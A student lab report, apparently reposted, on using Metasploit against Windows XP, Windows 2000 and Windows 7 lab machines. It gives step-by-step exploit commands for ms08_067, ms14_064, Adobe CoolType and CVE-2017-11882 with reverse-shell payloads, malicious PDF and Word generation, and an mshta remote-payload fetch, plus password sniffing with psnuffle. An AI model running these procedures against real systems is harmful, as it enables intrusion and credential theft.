2018-2019-2 20165215《网络对抗技术》Exp5 MSF基础应用

你离开我真会死。 提交于 2020-12-07 10:06:18

[TOC]

实验内容

一个主动攻击实践,如ms08_067;

一个针对浏览器的攻击,如ms11_050;

一个针对客户端的攻击,如Adobe;

成功应用任何一个辅助模块。


实验原理

MSF主要模块:渗透攻击模块(Exploit Modules)、辅助模块(Auxiliary Modules)、攻击载荷(Payload Modules)、空字段模块(Nop Modules)、编码模块(Encoders)、后渗透攻击模块(Post)

查看模块源码的目录:/usr/share/metasploit-framework/modules

本次实验使用的是Exploit ModulesAuxiliary Modules

  • Exploit Modules:指利用某种漏洞对目标主机进行攻击。渗透就是说攻击者通过目标主机上的一个漏洞将自己的恶意代码注入目标主机的系统,就像白蚁一样,从一个洞慢慢攻破整栋建筑。
  • Auxiliary Modules:帮助渗透测试者在进行渗透攻击之前得到目标系统丰富的情报信息,从而发起更具目标性的精准攻击。它和渗透攻击模块之间的关系就好像观察者和狙击手的关系,前者负责观察网络环境,得到准确的信息;后者就根据收集到的信息进行攻击。

实验步骤

(一)一个主动攻击实践

ms08_067(成功)

原理:攻击者利用受害者主机默认开放的SMB服务端口445,发送恶意资料到该端口,通过MSRPC接口调用Server服务的一个函数,并破坏程序的栈缓冲区,获得远程代码执行(Remote Code Execution)权限,从而完全控制主机。

实验环境

计算机 系统 IP地址
主机 kali 192.168.1.144
靶机 Windows 2000 Universal 192.168.1.164

步骤

1、kali中输入msfconsole进入控制台

2、在msf模式下输入search ms08_067或者search ms08-067查找与其相关的漏洞攻击程序,看到exploit/windows/smb/ms08_067_netapi的信息

3、输入命令use exploit/windows/smb/ms08_067_netapi使用该漏洞攻击程序

4 、输入命令show payloads查找metasploit下的有效攻击荷载(payload)

5、使用命令set payload generic/shell_reverse_tcp设置我们想要用的payload

6、使用show options查看该payload的状态,使用show targets查看可以使用的攻击类型

7、设置参数选项

set RHOST “目标主机的ip”
set LHOST “监听主机的ip”
set target 0 //自动选取
set LPORT “监听主机的端口号”
show options //再次查看payload的状态

8、使用exploit指令开始攻击,攻击成功后获取靶机的shell

(二)一个针对浏览器的攻击

ms14_064(成功)

原理:Microsoft Windows OLE远程代码执行漏洞,OLE(对象链接与嵌入)是一种允许应用程序共享数据和功能的技术,远程攻击者利用此漏洞通过构造的网站执行任意代码,影响Win95+IE3 – Win10+IE11全版本

实验环境

计算机 系统 IP地址
主机 kali 192.168.1.144
靶机 Windows XP Service Pack3+IE8 192.168.1.216

步骤 1、kali中输入msfconsole进入控制台

2、在msf模式下输入search ms14_064查找与其相关的漏洞攻击程序,看到exploit/windows/browser/ms14_064_ole_code_execution

3、输入命令use windows/browser/ms14_064_ole_code_execution使用该漏洞攻击程序

4 、输入命令show payloads查找metasploit下的有效攻击荷载(payload)

5、使用命令set payload windows/meterpreter/reverse_tcp设置我们想要用的payload

6、设置参数选项

set SRVHOST 192.168.1.144 //设置攻方IP
set AllowPowerShellPrompt 1 //因为msf中自带的漏洞利用exp调用的是powershell, 所以msf中的exp代码只对安装powershell的系统生效
set LHOST 192.168.1.144
set LPORT 5215
set target 0 //设置winXP靶机

7、使用exploit指令开始攻击

8、将生成的URL地址在winXP的IE中打开,建立了一个会话

9、输入sessions查看会话相关信息

10、输入sessions -i 1即可选择第一个会话,获取shell权限

(三)一个针对客户端的攻击

Adobe(成功)

原理:针对Adobe阅读器9.3.4之前的版本,一个名为SING表对象中一个名为uniqueName的参数造成缓冲区溢出

实验环境

计算机 系统 IP地址
主机 kali 192.168.1.144
靶机 Windows XP Service Pack3+Adobe Reader 9.3 192.168.1.164

步骤 1、kali中输入msfconsole进入控制台

2、在msf模式下输入search adobe查找与其相关的漏洞攻击程序,看到exploit/windows/browser/adobe_cooltype_sing

3、输入命令use windows/fileformat/adobe_cooltype_sing 使用该漏洞攻击程序

4 、输入命令show payloads查找metasploit下的有效攻击荷载(payload)

5、设置payload和参数选项

set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.1.144           
set LPORT 5215
set FILENAME 20165215.pdf

6、使用exploit指令开始攻击,输入back指令退出当前模块

7、将生成的20165215.pdf文件复制到靶机上 8、打开监听模块,设置payloads和参数选项

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.1.144      
set LPORT 5215

9、输入exploit 开始监听 10、将靶机中的pdf文件打开,攻击机成功获取到靶机shell

CVE-2017-11882(成功且唯一)

原理:此漏洞是由Office软件里面的 [公式编辑器] 造成的,由于编辑器进程没有对名称长度进行校验,导致缓冲区溢出,攻击者通过构造特殊的字符,可以实现任意代码执行

实验环境

计算机 系统 IP地址
主机 kali 192.168.116.140
靶机 Windows 7 + office2013 192.168.116.130

步骤 1、在Github上下载MSF组件“Command109b_CVE-2017-11882.py”、“cve_2017_11882.rtf” 和python脚本“Command109b_CVE-2017-11882.py”

2、将“cve_2017_11882.rb”复制到/usr/share/metasploit-framework/modules/exploits/windows/smb/目录下

3、把下载的“cve_2017_11882.rtf”复制到/usr/share/metasploit-framework/data/exploits/目录下

4、把“Command109b_CVE-2017-11882.py”复制到/root/目录下

5、输入msfconsole进入控制台,然后输入reload_all命令重新加载所有模块

6、输入命令search cve-2017-11882测试虚拟机环境

7、输入命令use /exploits/windows/smb/`cve_2017_11882使用该漏洞攻击模块

8、设置payload和参数选项

set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.116.140       
set LPORT 5215
set URIPATH test

9、输入exploit开始攻击

10、打开另一终端,输入python Command109b_CVE-2017-11882.py -c "mshta http://192.168.116.140:8080/test" -o kail_help.doc生成word文件

11、把生成的kail_help复制到靶机中打开,是个空白文档

12、回连成功,输入sessions -i 1接管会话,成功获取靶机shell

(四)应用辅助模块的攻击

sniffer(成功)

原理:psnuffle是metasploit中的口令嗅探工具,只有在接入对方网络的初始访问点后才能进行嗅探

实验环境

计算机 系统 IP地址
主机 kali 192.168.1.144
靶机 Windows XP Service Pack3 192.168.1.164

步骤 1、进入/usr/share/metasploit-framework/modules/auxiliary目录查看有什么项目

2、选择sniffer网络嗅探器,进入目录,发现只有一个psnuffle.rb

3、输入msfconsole进入控制台

4、输入use auxiliary/sniffer/psnuffle使用该工具,并查看详细信息

由上图可知它嗅探的是任意协议,捕获的长度是65535bytes,时间限制是500s

5、设置靶机IP地址set RHOST 192.168.1.216

6、输入run开始运行,在靶机打开浏览器,看到kali捕捉到了这次会话


实验中遇到的问题

问题1:攻击ms08_067漏洞时遇到如下问题

解决方法:确认靶机445端口开启,且模块的targets确实包含Windows XP SP3 Chinese - Traditional (NX),攻击仍然失效,网上有资料称该系统已打上此补丁,最后重新使用其它版本虚拟机进行攻击


基础问题回答

用自己的话解释什么是exploit,payload,encode.

  • exploit就是通过漏洞将自己的恶意代码植入目标主机从而达到攻击的目的,指的是一种攻击的手段
  • payload相当于是一段恶意代码,或者说是一个装有恶意代码的容器,通过载荷就可以控制目标主机
  • encode是编码器,就是通过编码将恶意代码进行封装或伪装,使其不被目标主机检测为恶意程序

离实战还缺些什么技术或步骤

就实验而言,都是靶机主动触发恶意代码使攻击方入侵成功的,而在实际生活中,用户不会随意点击可疑文件、登录可疑网址,因此,我认为如何让用户在无意识地状态下执行恶意代码是攻击能否成功的关键,实验中利用的漏洞都是很久的版本,现在的软件早已打好补丁,因此发现新的漏洞也是实战成功的重要条件。

标签
易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!